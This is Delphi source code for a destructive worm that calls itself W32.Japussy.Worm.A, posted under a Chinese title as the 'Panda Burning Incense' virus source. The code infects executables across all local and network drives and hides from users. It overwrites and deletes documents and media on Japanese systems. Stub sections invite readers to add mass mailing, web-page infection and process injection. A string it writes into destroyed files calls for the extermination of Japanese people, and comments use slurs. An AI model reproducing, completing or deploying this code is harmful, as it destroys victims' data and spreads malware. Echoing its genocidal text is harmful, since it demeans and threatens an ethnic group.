熊猫烧香病毒源代码 原代码分析

program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432;              //病毒体的大小
IconOffset = $12EB8;            //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
  
{
HeaderSize = 38912;              //Upx压缩过病毒体的大小
IconOffset = $92BC;              //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize    = $2E8;              //PE文件主图标的大小--744字节
IconTail    = IconOffset + IconSize; //PE文件主图标的尾部
ID        = $44444444;          //感染标记

//垃圾码，以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
         'If a country need to be destroyed, it must be Japan! ' +
         '*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si:      STARTUPINFO;
Pi:      PROCESS_INFORMATION;
IsJap:    Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
   Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
   Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
   sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
   try
     dStream := TFileStream.Create(FileName, fmCreate);
     try
     sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
     dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
     finally
     dStream.Free;
     end;
   finally
     sStream.Free;
   end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用，退出
   if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
     Exit;
   Infected := False;
   IsPE    := False;
   SrcStream := TFileStream.Create(FileName, fmOpenRead);
   try
     for i := 0 to $108 do //检查PE文件头
     begin
     SrcStream.Seek(i, soFromBeginning);
     SrcStream.Read(Buf, 2);
     if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
     begin
       IsPE := True; //是PE文件
       Break;
     end;
     end;
     SrcStream.Seek(-4, soFromEnd); //检查感染标记
     SrcStream.Read(iID, 4);
     if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
     Infected := True;
   finally
     SrcStream.Free;
   end;
   if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
     Exit;
   IcoStream := TMemoryStream.Create;
   DstStream := TMemoryStream.Create;
   try
     aIcon := TIcon.Create;
     try
     //得到被感染文件的主图标(744字节)，存入流
     aIcon.ReleaseHandle;
     aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
     aIcon.SaveToStream(IcoStream);
     finally
     aIcon.Free;
     end;
     SrcStream := TFileStream.Create(FileName, fmOpenRead);
     //头文件
     HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
     try
     //写入病毒体主图标之前的数据
     CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
     //写入目前程序的主图标
     CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
     //写入病毒体主图标到病毒体尾部之间的数据
     CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
     //写入宿主程序
     CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
     //写入已感染的标记
     DstStream.Seek(0, 2);
     iID := $44444444;
     DstStream.Write(iID, 4);
     finally
     HdrStream.Free;
     end;
   finally
     SrcStream.Free;
     IcoStream.Free;
     DstStream.SaveToFile(FileName); //替换宿主文件
     DstStream.Free;
   end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
   SetFileAttributes(PChar(FileName), 0); //去掉只读属性
   FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
   try
     Size := GetFileSize(FileHandle, nil); //文件大小
     i := 0;
     Randomize;
     Max := Random(15); //写入垃圾码的随机次数
     if Max < 5 then
     Max := 5;
     Mass := Size div Max; //每个间隔块的大小
     Len := Length(Catchword);
     while i < Max do
     begin
     FileSeek(FileHandle, i * Mass, 0); //定位
     //写入垃圾码，将文件彻底破坏掉
     FileWrite(FileHandle, Catchword, Len);
     Inc(i);
     end;
   finally
     FileClose(FileHandle); //关闭文件
   end;
   DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
   D := Chr(i + 65);
   Str := D + ':/';
   DiskType := GetDriveType(PChar(Str));
   //得到本地磁盘和网络盘
   if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
     Result := Result + D;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
   if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
     (SearchRec.Name <> '..') then
     Result := 0 //不是目录
   else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
     (SearchRec.Name <> '..') then
     Result := 1 //不是根目录
   else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
   repeat
     PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑
     if IsValidDir(SearchRec) = 0 then
     begin
     Fn := Path + SearchRec.Name;
     Ext := UpperCase(ExtractFileExt(Fn));
     if (Ext = '.EXE') or (Ext = '.SCR') then
     begin
       InfectOneFile(Fn); //感染可执行文件     
     end
     else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
     begin
       //感染HTML和ASP文件，将Base64编码后的病毒写入
       //感染浏览此网页的所有用户
       //哪位大兄弟愿意完成之？
     end
     else if Ext = '.WAB' then //Outlook地址簿文件
     begin
       //获取Outlook邮件地址
     end
     else if Ext = '.ADC' then //Foxmail地址自动完成文件
     begin
       //获取Foxmail邮件地址
     end
     else if Ext = 'IND' then //Foxmail地址簿文件
     begin
       //获取Foxmail邮件地址
     end
     else
     begin
       if IsJap then //是倭文操作系统
       begin
         if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
         (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
         (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
         (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
         (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
         (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
           SmashFile(Fn); //摧毁文件
       end;
     end;
     end;
     //感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑
     Sleep(200);
   until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
   repeat
     if IsValidDir(SearchRec) = 1 then
     SubDir.Add(SearchRec.Name);
   until (FindNext(SearchRec) <> 0);
   end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
   LoopFiles(Path + SubDir.Strings + '/', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
   IsJap := True; //去死吧！
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
   for i := Len downto 1 do //遍历每个磁盘驱动器
     LoopFiles(DriverList + ':/', '*.*'); //感染之
   SendMail; //发带毒邮件
   Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
   RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
   //远程线程映射到Explorer进程
   //哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
   InfectFiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
   TmpFile := ParamStr(0); //创建临时文件
   Delete(TmpFile, Length(TmpFile) - 4, 4);
   TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格
   ExtractFile(TmpFile); //分离之
   FillStartupInfo(Si, SW_SHOWDEFAULT);
   CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
     0, nil, '.', Si, Pi); //创建新进程运行之
   InfectFiles; //感染和发邮件
end;
end